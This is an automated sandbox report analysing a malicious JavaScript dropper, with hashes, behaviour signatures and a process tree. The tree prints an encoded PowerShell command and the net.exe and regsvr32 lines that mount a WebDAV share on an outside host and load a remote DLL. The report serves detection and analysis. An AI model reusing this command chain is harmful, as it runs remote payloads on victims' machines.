Analysis

  • max time kernel
    137s
  • max time network
    107s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/07/2024, 16:47

General

  • Target

    1c9cc8472757b0b48f7bcd332a926ec2c57c690a902ccdb5148848d61b508eac.js

  • Size

    16KB

  • MD5

    4f8d64d35ba5f2700b29b18b1b7f689e

  • SHA1

    c04d603e8810e36f5c2b8d0bf9e7a9f6f454ef3d

  • SHA256

    1c9cc8472757b0b48f7bcd332a926ec2c57c690a902ccdb5148848d61b508eac

  • SHA512

    f016e650c005aea8c43255900a8a091ef8b31f39e12ceb8c9fbae7e8014175a644e93355eb9e7c877fb01098782bdff07fd7830655acc55169592a2b009426c1

  • SSDEEP

    192:xJ9It+vt28EI7KF+ZkEt3r7M+dlBtjY6nKJbwZolsw0LktbB:xJmt4lAu8n

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1c9cc8472757b0b48f7bcd332a926ec2c57c690a902ccdb5148848d61b508eac.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADMAOAA4ADkAMgA0ADkANgA5ADIANAA4ADIAOQAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:4236
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\138892496924829.dll
          3⤵
            PID:3068

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vqhxpneg.3zd.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/4772-0-0x00007FFBF2473000-0x00007FFBF2475000-memory.dmp

              Filesize

              8KB

            • memory/4772-10-0x000001BD7E690000-0x000001BD7E6B2000-memory.dmp

              Filesize

              136KB

            • memory/4772-11-0x00007FFBF2470000-0x00007FFBF2F31000-memory.dmp

              Filesize

              10.8MB

            • memory/4772-12-0x00007FFBF2470000-0x00007FFBF2F31000-memory.dmp

              Filesize

              10.8MB

            • memory/4772-15-0x00007FFBF2470000-0x00007FFBF2F31000-memory.dmp

              Filesize

              10.8MB